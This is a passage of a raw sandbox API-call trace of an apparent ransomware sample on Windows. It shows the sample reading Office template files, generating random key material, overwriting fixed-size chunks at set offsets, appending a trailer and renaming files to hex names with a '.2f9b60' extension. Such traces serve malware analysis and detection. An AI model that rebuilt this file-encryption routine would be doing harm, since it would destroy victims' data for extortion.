dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138a70 [0190.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138a70) returned 1 [0190.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e178d0 [0190.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138a70 [0190.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b00 [0190.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b00) returned 1 [0190.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.513] WriteFile (in: hFile=0x1dc8, lpBuffer=0x41e178d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3846fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e178d0*, lpNumberOfBytesWritten=0x3846fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e178d0) returned 1 [0198.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fd70 [0198.814] SetFilePointerEx (in: hFile=0x1dc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.814] WriteFile (in: hFile=0x1dc8, lpBuffer=0x1ceb7ed0*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x3846fc90, lpOverlapped=0x0 | out: lpBuffer=0x1ceb7ed0*, lpNumberOfBytesWritten=0x3846fc90*=0x15a, lpOverlapped=0x0) returned 1 [0203.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0203.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a93a0 [0203.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a93a0) returned 1 [0203.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a93a0 [0203.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9df0 [0203.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8770 [0203.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8770) returned 1 [0203.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0203.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b7cea00 [0203.796] sprintf (in: _Dest=0x1b7cea00, _Format="%c%c" | out: _Dest="c3") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea02, _Format="%c%c" | out: _Dest="fa") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea04, _Format="%c%c" | out: _Dest="74") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea06, _Format="%c%c" | out: _Dest="ac") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea08, _Format="%c%c" | out: _Dest="03") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea0a, _Format="%c%c" | out: _Dest="e0") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea0c, _Format="%c%c" | out: _Dest="cd") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea0e, _Format="%c%c" | out: _Dest="19") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea10, _Format="%c%c" | out: _Dest="fc") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea12, _Format="%c%c" | out: _Dest="20") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea14, _Format="%c%c" | out: _Dest="c5") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea16, _Format="%c%c" | out: _Dest="8d") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea18, _Format="%c%c" | out: _Dest="04") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea1a, _Format="%c%c" | out: _Dest="c1") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea1c, _Format="%c%c" | out: _Dest="b1") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea1e, _Format="%c%c" | out: _Dest="f7") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea20, _Format="%c%c" | out: _Dest="ed") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea22, _Format="%c%c" | out: _Dest="8e") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea24, _Format="%c%c" | out: _Dest="55") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea26, _Format="%c%c" | out: _Dest="fa") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea28, _Format="%c%c" | out: _Dest="b2") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea2a, _Format="%c%c" | out: _Dest="fe") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea2c, _Format="%c%c" | out: _Dest="bc") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea2e, _Format="%c%c" | out: _Dest="e3") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea30, _Format="%c%c" | out: _Dest="a2") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea32, _Format="%c%c" | out: _Dest="7e") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea34, _Format="%c%c" | out: _Dest="e6") returned 2 [0203.796] sprintf (in: _Dest=0x1b7cea36, _Format="%c%c" | out: _Dest="5e") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea38, _Format="%c%c" | out: _Dest="9c") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea3a, _Format="%c%c" | out: _Dest="94") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea3c, _Format="%c%c" | out: _Dest="d7") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea3e, _Format="%c%c" | out: _Dest="d5") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea40, _Format="%c%c" | out: _Dest="af") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea42, _Format="%c%c" | out: _Dest="16") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea44, _Format="%c%c" | out: _Dest="33") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea46, _Format="%c%c" | out: _Dest="5a") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea48, _Format="%c%c" | out: _Dest="33") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea4a, _Format="%c%c" | out: _Dest="22") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea4c, _Format="%c%c" | out: _Dest="0c") returned 2 [0203.797] sprintf (in: _Dest=0x1b7cea4e, _Format="%c%c" | out: _Dest="4a") returned 2 [0203.797] RtlInitAnsiString (in: DestinationString=0x3846fd08, SourceString="c3fa74ac03e0cd19fc20c58d04c1b1f7ed8e55fab2febce3a27ee65e9c94d7d5af16335a33220c4a" | out: DestinationString="c3fa74ac03e0cd19fc20c58d04c1b1f7ed8e55fab2febce3a27ee65e9c94d7d5af16335a33220c4a") [0203.797] RtlAnsiStringToUnicodeString (in: DestinationString=0x3846fcd8, SourceString="c3fa74ac03e0cd19fc20c58d04c1b1f7ed8e55fab2febce3a27ee65e9c94d7d5af16335a33220c4a", AllocateDestinationString=1 | out: DestinationString="c3fa74ac03e0cd19fc20c58d04c1b1f7ed8e55fab2febce3a27ee65e9c94d7d5af16335a33220c4a") returned 0x0 [0203.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431316f0 [0203.798] wcscat (in: _Dest=0x43131640, _Source="c3fa74ac03e0cd19fc20" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fa74ac03e0cd19fc20") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fa74ac03e0cd19fc20" [0203.798] wcscat (in: _Dest=0x43131640, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fa74ac03e0cd19fc20.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fa74ac03e0cd19fc20.2f9b60" [0203.798] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fa74ac03e0cd19fc20.2f9b60", NtPathName=0x3846fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3fa74ac03e0cd19fc20.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4311b620 Thread: id = 2106 os_tid = 0x330 [0138.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx")) returned 0x20 [0138.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx", dwFileAttributes=0x20) returned 1 [0138.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dcc [0138.751] GetFileSizeEx (in: hFile=0x1dcc, lpFileSize=0x37cffb60 | out: lpFileSize=0x37cffb60*=125587) returned 1 [0138.751] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x1ea8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.752] ReadFile (in: hFile=0x1dcc, lpBuffer=0x37cffae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37cffb28, lpOverlapped=0x0 | out: lpBuffer=0x37cffae0*, lpNumberOfBytesRead=0x37cffb28*=0x4, lpOverlapped=0x0) returned 1 [0138.755] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7a0 [0138.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a830 [0138.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a860 [0138.755] NtQuerySystemTime (in: CurrentTime=0x37cffa20 | out: CurrentTime=0x37cffa20*=132462177439954000) returned 0x0 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x266c5d4d [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x4e2cf113 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x68238de2 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x1be478ca [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x70e120cd [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x6a1f3d10 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x19ef49b3 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x236cddf3 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x4a58bd98 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x41e419ba [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x2c42a4c4 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x566eb911 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x70091515 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x67782ae2 [0138.755] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x54e76d12 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x2cb8bd96 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x7ba5474 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x2b33b391 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x768bc0c7 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x703bc97e [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x737ea019 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x30a4c712 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x5b02ab31 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x3ec15975 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x13581e8b [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x432f93b9 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x2f60aee6 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x596375c3 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x14f22341 [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x7575bbac [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x1fd2b0ab [0138.756] RtlRandomEx (in: Seed=0x37cffa10 | out: Seed=0x37cffa10) returned 0x42f588f4 [0138.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a890 [0138.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a8c0 [0138.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a860) returned 1 [0138.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a7a0) returned 1 [0138.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420a3dd0 [0138.766] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.766] ReadFile (in: hFile=0x1dcc, lpBuffer=0x420a3dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37cffa80, lpOverlapped=0x0 | out: lpBuffer=0x420a3dd0*, lpNumberOfBytesRead=0x37cffa80*=0x3c00, lpOverlapped=0x0) returned 1 [0138.792] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7a0 [0138.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a7a0) returned 1 [0138.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420a79e0 [0138.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7a0 [0138.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a860 [0138.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a860) returned 1 [0138.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.794] WriteFile (hFile=0x1dcc, lpBuffer=0x420a79e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37cffa80, lpOverlapped=0x0) [0170.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420a79e0) returned 1 [0170.845] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.845] ReadFile (in: hFile=0x1dcc, lpBuffer=0x420a3dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37cffa80, lpOverlapped=0x0 | out: lpBuffer=0x420a3dd0*, lpNumberOfBytesRead=0x37cffa80*=0x3c00, lpOverlapped=0x0) returned 1 [0170.921] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x12c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0170.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fe0) returned 1 [0170.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41edb4e0 [0170.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0170.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fb0 [0170.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fb0) returned 1 [0170.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.923] WriteFile (in: hFile=0x1dcc, lpBuffer=0x41edb4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37cffa80, lpOverlapped=0x0 | out: lpBuffer=0x41edb4e0*, lpNumberOfBytesWritten=0x37cffa80*=0x3c00, lpOverlapped=0x0) returned 1 [0194.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edb4e0) returned 1 [0194.616] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x1ae93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.616] ReadFile (in: hFile=0x1dcc, lpBuffer=0x420a3dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x37cffa80, lpOverlapped=0x0 | out: lpBuffer=0x420a3dd0*, lpNumberOfBytesRead=0x37cffa80*=0x3c00, lpOverlapped=0x0) returned 1 [0194.717] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x1ae93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1c0 [0194.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d1c0) returned 1 [0194.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2044a6d0 [0194.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d1c0 [0194.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d430 [0194.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d430) returned 1 [0194.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.720] WriteFile (in: hFile=0x1dcc, lpBuffer=0x2044a6d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x37cffa80, lpOverlapped=0x0 | out: lpBuffer=0x2044a6d0*, lpNumberOfBytesWritten=0x37cffa80*=0x3c00, lpOverlapped=0x0) returned 1 [0205.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044a6d0) returned 1 [0205.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0550 [0205.653] SetFilePointerEx (in: hFile=0x1dcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.653] WriteFile (in: hFile=0x1dcc, lpBuffer=0x1ceb92f0*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x37cffb30, lpOverlapped=0x0 | out: lpBuffer=0x1ceb92f0*, lpNumberOfBytesWritten=0x37cffb30*=0x164, lpOverlapped=0x0) returned 1 [0215.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e20 [0215.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0215.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0215.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5e2f0 [0215.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0215.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0215.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0215.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e20) returned 1 [0215.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x430a0c20 [0215.853] sprintf (in: _Dest=0x430a0c20, _Format="%c%c" | out: _Dest="17") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c22, _Format="%c%c" | out: _Dest="d5") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c24, _Format="%c%c" | out: _Dest="4c") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c26, _Format="%c%c" | out: _Dest="fc") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c28, _Format="%c%c" | out: _Dest="9b") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c2a, _Format="%c%c" | out: _Dest="5a") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c2c, _Format="%c%c" | out: _Dest="e4") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c2e, _Format="%c%c" | out: _Dest="41") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c30, _Format="%c%c" | out: _Dest="31") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c32, _Format="%c%c" | out: _Dest="66") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c34, _Format="%c%c" | out: _Dest="77") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c36, _Format="%c%c" | out: _Dest="44") returned 2 [0215.853] sprintf (in: _Dest=0x430a0c38, _Format="%c%c" | out: _Dest="39") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c3a, _Format="%c%c" | out: _Dest="f2") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c3c, _Format="%c%c" | out: _Dest="e0") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c3e, _Format="%c%c" | out: _Dest="97") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c40, _Format="%c%c" | out: _Dest="c9") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c42, _Format="%c%c" | out: _Dest="a5") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c44, _Format="%c%c" | out: _Dest="42") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c46, _Format="%c%c" | out: _Dest="3b") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c48, _Format="%c%c" | out: _Dest="b1") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c4a, _Format="%c%c" | out: _Dest="d4") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c4c, _Format="%c%c" | out: _Dest="56") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c4e, _Format="%c%c" | out: _Dest="6f") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c50, _Format="%c%c" | out: _Dest="9b") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c52, _Format="%c%c" | out: _Dest="60") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c54, _Format="%c%c" | out: _Dest="81") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c56, _Format="%c%c" | out: _Dest="ed") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c58, _Format="%c%c" | out: _Dest="51") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c5a, _Format="%c%c" | out: _Dest="4e") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c5c, _Format="%c%c" | out: _Dest="ce") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c5e, _Format="%c%c" | out: _Dest="9e") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c60, _Format="%c%c" | out: _Dest="e8") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c62, _Format="%c%c" | out: _Dest="be") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c64, _Format="%c%c" | out: _Dest="38") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c66, _Format="%c%c" | out: _Dest="37") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c68, _Format="%c%c" | out: _Dest="21") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c6a, _Format="%c%c" | out: _Dest="33") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c6c, _Format="%c%c" | out: _Dest="d0") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c6e, _Format="%c%c" | out: _Dest="b6") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c70, _Format="%c%c" | out: _Dest="9c") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c72, _Format="%c%c" | out: _Dest="2d") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c74, _Format="%c%c" | out: _Dest="b1") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c76, _Format="%c%c" | out: _Dest="59") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c78, _Format="%c%c" | out: _Dest="41") returned 2 [0215.854] sprintf (in: _Dest=0x430a0c7a, _Format="%c%c" | out: _Dest="f6") returned 2 [0215.855] sprintf (in: _Dest=0x430a0c7c, _Format="%c%c" | out: _Dest="f6") returned 2 [0215.855] sprintf (in: _Dest=0x430a0c7e, _Format="%c%c" | out: _Dest="f8") returned 2 [0215.855] sprintf (in: _Dest=0x430a0c80, _Format="%c%c" | out: _Dest="12") returned 2 [0215.855] sprintf (in: _Dest=0x430a0c82, _Format="%c%c" | out: _Dest="6d") returned 2 [0215.855] RtlInitAnsiString (in: DestinationString=0x37cffba8, SourceString="17d54cfc9b5ae4413166774439f2e097c9a5423bb1d4566f9b6081ed514ece9ee8be38372133d0b69c2db15941f6f6f8126d" | out: 